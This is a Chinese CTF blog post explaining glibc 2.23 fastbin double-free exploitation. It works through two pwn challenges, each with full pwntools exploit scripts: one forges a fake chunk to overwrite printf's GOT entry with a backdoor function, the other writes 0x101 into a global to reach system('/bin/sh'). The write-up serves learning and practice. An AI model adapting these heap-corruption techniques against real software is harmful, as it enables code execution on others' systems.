Double Free

概念 –来自wiki

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
/* Another simple check: make sure the top of the bin is not the
       record we are going to add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
}

简单的说堆上的内存被free后,指向该内存的指针并没有被清空,因此可以利用其余部分的内存再次进行free,可以实现任意地址写的攻击方式

简略做一个图:

此时修改chunk0的fd指针既可以到达任意位置

例题

paper

题目地址:https://xuanxuanblingbling.github.io/assets/pwn/paper

先检查保护

RELRO保护开了一半,说明got表是可写的

查看main函数和menu函数发现只有两个能能,申请和删除,但是通过switch查看可以看到还有第三个选项

看起来就是在刚开始随便输入一个字符,然后后面的功能也是添加和删除chunk

get_num用于检查输入的内容是不是一个数字,不是的话会提示

add_paper函数主要实现就是实现三个输入,输入chunk的索引,大小和内容,最多创建10个堆块

delete_paper函数中实现了对输入索引chunk的释放,但是释放后没有置null

同时观察ida发现程序中存在后门函数gg

整体分析下来,需要先通过double free实现任意地址写功能,但由于版本为glibc2.23,fastbin有检查机制,需要伪造一个chunk,所以难点就在于如何伪造fastbin的size和fd

刚开始我想的是实现了double free后,申请下一个同样大小的chunk时,直接使用printf的got表地址,然后将其地址直接改为后门函数的地址,get_num函数检测用户输入的是不是数字,只要输入一个不是数字的内容,那么他会调用printf函数,如果将printf函数改为后门函数,直接执行后门函数不就行了,太简单了(天真)

直接给我一个报错,让我回到现实,想起glibc2.23的fastbin检查机制,虽然got表是可以写的,但是他依旧会检查该chunk到底是不是一个真正的chunk,那么就该伪造一个chunk,整体的思路应该是对的,那么如何伪造呢。。

依旧是漫长的百度

有点悟了,伪造其chunk又要刚好将chunk的date段修改为后门函数地址,先指明prev size的地址让他不能是一个程序中存在的got表地址,需要满足prev size占8个字节,size占8个字节,后面的date是printf的地址

先这样修改代码

通过gdb调试查看

从0x60202a开始(这肯定不是一个got表的起始地址),但是可以看到,date的前6个字节占用了system的got表地址,如果直接写入后门函数到date中的话,system会被破坏,从而无法满足system(“/bin/sh”),于是需要还原system的地址,前两位并没有改变,只改后六位即可,然后在注入后门函数,刚好覆盖printf的got表

完整exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io = process("./heap")
shell_addr = 0x400943

def add_paper(index,size,content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))


add_paper(0,0x30,b'aaaa')
add_paper(1,0x30,b'bbbb')
del_paper(0)
del_paper(1)
del_paper(0)

add_paper(2,0x30,p64(0x60202a))

add_paper(3,0x30,b'cccc')

add_paper(4,0x30,b'dddd')
add_paper(5,0x30,b"\x40\x00\x00\x00\x00\x00" + p64(shell_addr))
#gdb.attach(io)
io.recv()
io.sendline("a")


io.interactive()

heap_Double_Free

这里记录一下patchelf的步骤,不用每次用都要去网上百度了

首先先查看libc版本

strings libc.so.6 | grep Ubuntu

然后去glibc中使用cat list 查找对应版本并使用./download + libc_name命令下载下来

然后使用两行patchelf命令进行修改

patchelf --set-interpreter /home/kgzsgod/桌面/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so /home/kgzsgod/桌面/pj/pwn
patchelf --replace-needed libc.so.6 /home/kgzsgod/桌面/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so pwn

可以使用ldd 命令进行查看

拿到附件还是先查看一下各种保护

只开启了nx保护,打开ida查看

通过整个main函数可以观察到free后没有消除指针,同时可以用来申请,释放,打印chunk

globals1是一个全局数组

通过审计代码可以得到,输入1,2,3分别代表申请,释放,打印堆块,但在输入别的都会退出,但是在退出前还会进行检测,如果globals1点值如果为0x101的话会直接执行system(“/bin/sh”)

整体攻击思路:

  1. 创建三个chunk然后free(0),free(1),free(2)来形成double free ,申请的chunk2用来隔绝top chunk以免发生合并
  2. 再次申请一个同样大小的chunk,此时会拿到chunk0
  3. 修改他的fd指针为globals1的地址,并修改数值

先编写脚本通过gdb调试查看形成double free 后的样子

通过gdb查看,在bin中已经形成了double free

此时在申请一个chunk,他会在bin中拿走chunk0的内存用来使用,同时修改他的fd指针为bss段globals1处的地址

在刚一申请回来的时候chunk0的fd指针被修改为globals1的地址

然后,申请的chunk已经到了globals1处

接下来只需要在申请一个chunk来注入0x101即可

最后进入输入一个4退出即可getshell

完整exp:

from pwn import *

#context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')


def molloc(id,size,content):
    p.recvuntil("root@ubuntu:~/Desktop$ ")
    p.sendline("1")
    p.recvuntil("please input id and size :")
    p.send(str(id) + " ")
    p.sendline(str(size))
    p.recvuntil("please input contet:")
    p.sendline(content)
def free(id):
    p.recvuntil("root@ubuntu:~/Desktop$ ")
    p.sendline("2")
    p.recvuntil("please input id :")
    p.sendline(str(id))
  
def put(id):
    p.recvuntil("root@ubuntu:~/Desktop$ ")
    p.sendline("3")
    p.recvuntil("please input id :")
    p.sendline(str(id))
def exit():
    p.recvuntil("root@ubuntu:~/Desktop$ ")
    p.sendline("4")
molloc(0,0x68,b'a'*0x68)
molloc(1,0x68,b'b'*0x68)
molloc(2,0x68,b'c'*0x68)

free(0)
free(1)
free(0)

molloc(3,0x68,p64(0x6010A0))

molloc(4,0x68,b'c'*0x68)

molloc(5,0x68,b'a'*0x10)

molloc(6,0x68,p64(0x101))

exit()

# gdb.attach(p)
p.interactive()
作者:K9z4g0d
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇